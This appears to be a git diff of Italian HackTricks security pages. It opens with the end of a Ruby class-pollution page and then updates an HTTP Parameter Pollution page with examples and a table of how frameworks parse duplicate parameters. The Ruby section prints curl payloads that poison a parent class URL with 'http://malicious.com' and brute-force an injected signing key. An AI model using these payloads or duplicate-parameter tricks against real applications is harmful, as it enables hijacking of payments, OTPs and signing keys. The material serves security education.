||||||
|
```
|
||||||
|
### Poison Parent Class
|
||||||
|
|
||||||
|
Con questo payload:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
È possibile modificare il valore dell'attributo **`@@url`** della classe genitore **`Person`**.
|
||||||
|
|
||||||
|
### **Avvelenamento di Altre Classi**
|
||||||
|
|
||||||
|
Con questo payload:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
È possibile eseguire un attacco di forza bruta sulle classi definite e, a un certo punto, avvelenare la classe **`KeySigner`** modificando il valore di `signing_key` in `injected-signing-key`.\
|
||||||
|
|
||||||
|
## Riferimenti
|
||||||
|
|
||||||
|
* [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
|
@ -1,8 +1,10 @@
|
||||||
# Inquinamento dei Parametri
|
# Inquinamento dei Parametri
|
||||||
|
|
||||||
|
## Inquinamento dei Parametri
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Impara e pratica Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -10,7 +12,7 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -19,66 +21,132 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
## Panoramica dell'Inquinamento dei Parametri HTTP (HPP)
|
||||||
# Panoramica dell'Inquinamento dei Parametri HTTP (HPP)
|
|
||||||
|
|
||||||
L'Inquinamento dei Parametri HTTP (HPP) è una tecnica in cui gli attaccanti manipolano i parametri HTTP per cambiare il comportamento di un'applicazione web in modi non intenzionati. Questa manipolazione avviene aggiungendo, modificando o duplicando i parametri HTTP. L'effetto di queste manipolazioni non è direttamente visibile all'utente, ma può alterare significativamente la funzionalità dell'applicazione sul lato server, con impatti osservabili sul lato client.
|
L'Inquinamento dei Parametri HTTP (HPP) è una tecnica in cui gli attaccanti manipolano i parametri HTTP per cambiare il comportamento di un'applicazione web in modi non intenzionati. Questa manipolazione avviene aggiungendo, modificando o duplicando i parametri HTTP. L'effetto di queste manipolazioni non è direttamente visibile all'utente, ma può alterare significativamente la funzionalità dell'applicazione sul lato server, con impatti osservabili sul lato client.
|
||||||
|
|
||||||
## Esempio di Inquinamento dei Parametri HTTP (HPP)
|
### Esempio di Inquinamento dei Parametri HTTP (HPP)
|
||||||
|
|
||||||
Un URL di transazione di un'applicazione bancaria:
|
Un URL di transazione di un'applicazione bancaria:
|
||||||
|
|
||||||
- **URL Originale:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
* **URL originale:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||||
|
|
||||||
Inserendo un ulteriore parametro `from`:
|
Inserendo un ulteriore parametro `from`:
|
||||||
|
|
||||||
- **URL Manipolato:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
* **URL manipolato:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||||
|
|
||||||
La transazione potrebbe essere erroneamente addebitata a `accountC` invece di `accountA`, dimostrando il potenziale dell'HPP di manipolare transazioni o altre funzionalità come il ripristino della password, le impostazioni 2FA o le richieste di chiavi API.
|
La transazione potrebbe essere erroneamente addebitata a `accountC` invece di `accountA`, dimostrando il potenziale dell'HPP di manipolare transazioni o altre funzionalità come il ripristino della password, le impostazioni 2FA o le richieste di chiavi API.
|
||||||
|
|
||||||
### **Parsing dei Parametri Specifico per Tecnologia**
|
#### **Parsing dei Parametri Specifico per Tecnologia**
|
||||||
|
|
||||||
- Il modo in cui i parametri vengono analizzati e prioritizzati dipende dalla tecnologia web sottostante, influenzando come l'HPP può essere sfruttato.
|
* Il modo in cui i parametri vengono analizzati e prioritizzati dipende dalla tecnologia web sottostante, influenzando come l'HPP può essere sfruttato.
|
||||||
- Strumenti come [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) aiutano a identificare queste tecnologie e i loro comportamenti di parsing.
|
* Strumenti come [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) aiutano a identificare queste tecnologie e i loro comportamenti di parsing.
|
||||||
|
|
||||||
## Sfruttamento di PHP e HPP
|
### Sfruttamento di PHP e HPP
|
||||||
|
|
||||||
**Caso di Manipolazione OTP:**
|
**Caso di Manipolazione OTP:**
|
||||||
|
|
||||||
- **Contesto:** Un meccanismo di login che richiede una Password Usa e Getta (OTP) è stato sfruttato.
|
* **Contesto:** Un meccanismo di accesso che richiede una Password Usa e Getta (OTP) è stato sfruttato.
|
||||||
- **Metodo:** Intercettando la richiesta OTP utilizzando strumenti come Burp Suite, gli attaccanti hanno duplicato il parametro `email` nella richiesta HTTP.
|
* **Metodo:** Intercettando la richiesta OTP utilizzando strumenti come Burp Suite, gli attaccanti hanno duplicato il parametro `email` nella richiesta HTTP.
|
||||||
- **Risultato:** L'OTP, destinato all'email iniziale, è stato invece inviato al secondo indirizzo email specificato nella richiesta manipolata. Questa vulnerabilità ha consentito l'accesso non autorizzato eludendo la misura di sicurezza prevista.
|
* **Risultato:** L'OTP, destinato all'email iniziale, è stato invece inviato al secondo indirizzo email specificato nella richiesta manipolata. Questo difetto ha consentito l'accesso non autorizzato eludendo la misura di sicurezza prevista.
|
||||||
|
|
||||||
Questo scenario evidenzia una grave svista nel backend dell'applicazione, che ha elaborato il primo parametro `email` per la generazione dell'OTP ma ha utilizzato l'ultimo per la consegna.
|
Questo scenario evidenzia una grave svista nel backend dell'applicazione, che ha elaborato il primo parametro `email` per la generazione dell'OTP ma ha utilizzato l'ultimo per la consegna.
|
||||||
|
|
||||||
**Caso di Manipolazione della Chiave API:**
|
**Caso di Manipolazione della Chiave API:**
|
||||||
|
|
||||||
- **Scenario:** Un'applicazione consente agli utenti di aggiornare la propria chiave API tramite una pagina delle impostazioni del profilo.
|
* **Scenario:** Un'applicazione consente agli utenti di aggiornare la propria chiave API tramite una pagina delle impostazioni del profilo.
|
||||||
- **Vettore di Attacco:** Un attaccante scopre che aggiungendo un ulteriore parametro `api_key` alla richiesta POST, può manipolare l'esito della funzione di aggiornamento della chiave API.
|
* **Vettore di attacco:** Un attaccante scopre che aggiungendo un ulteriore parametro `api_key` alla richiesta POST, può manipolare l'esito della funzione di aggiornamento della chiave API.
|
||||||
- **Tecnica:** Utilizzando uno strumento come Burp Suite, l'attaccante crea una richiesta che include due parametri `api_key`: uno legittimo e uno malevolo. Il server, elaborando solo l'ultima occorrenza, aggiorna la chiave API al valore fornito dall'attaccante.
|
* **Tecnica:** Utilizzando uno strumento come Burp Suite, l'attaccante crea una richiesta che include due parametri `api_key`: uno legittimo e uno malevolo. Il server, elaborando solo l'ultima occorrenza, aggiorna la chiave API al valore fornito dall'attaccante.
|
||||||
- **Risultato:** L'attaccante ottiene il controllo sulla funzionalità API della vittima, potenzialmente accedendo o modificando dati privati in modo non autorizzato.
|
* **Risultato:** L'attaccante ottiene il controllo sulla funzionalità API della vittima, potenzialmente accedendo o modificando dati privati senza autorizzazione.
|
||||||
|
|
||||||
Questo esempio sottolinea ulteriormente la necessità di una gestione sicura dei parametri, specialmente in funzionalità critiche come la gestione delle chiavi API.
|
Questo esempio sottolinea ulteriormente la necessità di una gestione sicura dei parametri, specialmente in funzionalità critiche come la gestione delle chiavi API.
|
||||||
|
|
||||||
## Parsing dei Parametri: Flask vs. PHP
|
### Parsing dei Parametri: Flask vs. PHP
|
||||||
|
|
||||||
Il modo in cui le tecnologie web gestiscono i parametri HTTP duplicati varia, influenzando la loro suscettibilità agli attacchi HPP:
|
Il modo in cui le tecnologie web gestiscono i parametri HTTP duplicati varia, influenzando la loro suscettibilità agli attacchi HPP:
|
||||||
|
|
||||||
- **Flask:** Adozione del primo valore del parametro incontrato, come `a=1` in una stringa di query `a=1&a=2`, privilegiando l'istanza iniziale rispetto ai duplicati successivi.
|
* **Flask:** Adotta il primo valore del parametro incontrato, come `a=1` in una stringa di query `a=1&a=2`, dando priorità all'istanza iniziale rispetto ai duplicati successivi.
|
||||||
- **PHP (su Apache HTTP Server):** Al contrario, privilegia l'ultimo valore del parametro, optando per `a=2` nell'esempio fornito. Questo comportamento può involontariamente facilitare gli exploit HPP onorando il parametro manipolato dall'attaccante rispetto all'originale.
|
* **PHP (su Apache HTTP Server):** Al contrario, dà priorità all'ultimo valore del parametro, optando per `a=2` nell'esempio fornito. Questo comportamento può facilitare involontariamente gli exploit HPP onorando il parametro manipolato dall'attaccante rispetto all'originale.
|
||||||
|
|
||||||
|
## Inquinamento dei parametri per tecnologia
|
||||||
|
|
||||||
|
I risultati sono stati presi da [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
|
||||||
|
|
||||||
|
### PHP 8.3.11 E Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
1. Ignora tutto dopo %00 nel nome del parametro.
|
||||||
|
2. Gestisce name\[] come array.
|
||||||
|
3. \_GET non significa metodo GET.
|
||||||
|
4. Preferisce l'ultimo parametro.
|
||||||
|
|
||||||
|
### Ruby 3.3.5 e WEBrick 1.8.2
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1257).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
1. Usa i delimitatori & e ; per separare i parametri.
|
||||||
|
2. Non riconosce name\[].
|
||||||
|
3. Preferisce il primo parametro.
|
||||||
|
|
||||||
|
### Spring MVC 6.0.23 E Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1258).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
|
||||||
|
2. POST RequestMapping & PostMapping riconoscono name[].
|
||||||
|
3. Preferisce name se name e name[] esistono.
|
||||||
|
4. Concatenare i parametri e.g. first,last.
|
||||||
|
5. POST RequestMapping & PostMapping riconoscono i parametri di query con Content-Type.
|
||||||
|
|
||||||
|
### **NodeJS** 20.17.0 **E** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
1. Riconosce name[].
|
||||||
|
2. Concatenare i parametri e.g. first,last.
|
||||||
|
|
||||||
|
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
1. NON riconosce name[].
|
||||||
|
2. Preferisce il primo parametro.
|
||||||
|
|
||||||
|
### Python 3.12.6 E Werkzeug 3.0.4 E Flask 3.0.3 <a href="#b853" id="b853"></a>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
1. NON riconosce name[].
|
||||||
|
2. Preferisce il primo parametro.
|
||||||
|
|
||||||
|
### Python 3.12.6 E Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
1. NON riconosce name[].
|
||||||
|
2. Preferisce l'ultimo parametro.
|
||||||
|
|
||||||
|
### Python 3.12.6 E Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
1. NON riconosce name[].
|
||||||
|
2. Preferisce l'ultimo parametro.
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
|
|
||||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||||
|
* [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Impara e pratica Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -86,7 +154,7 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|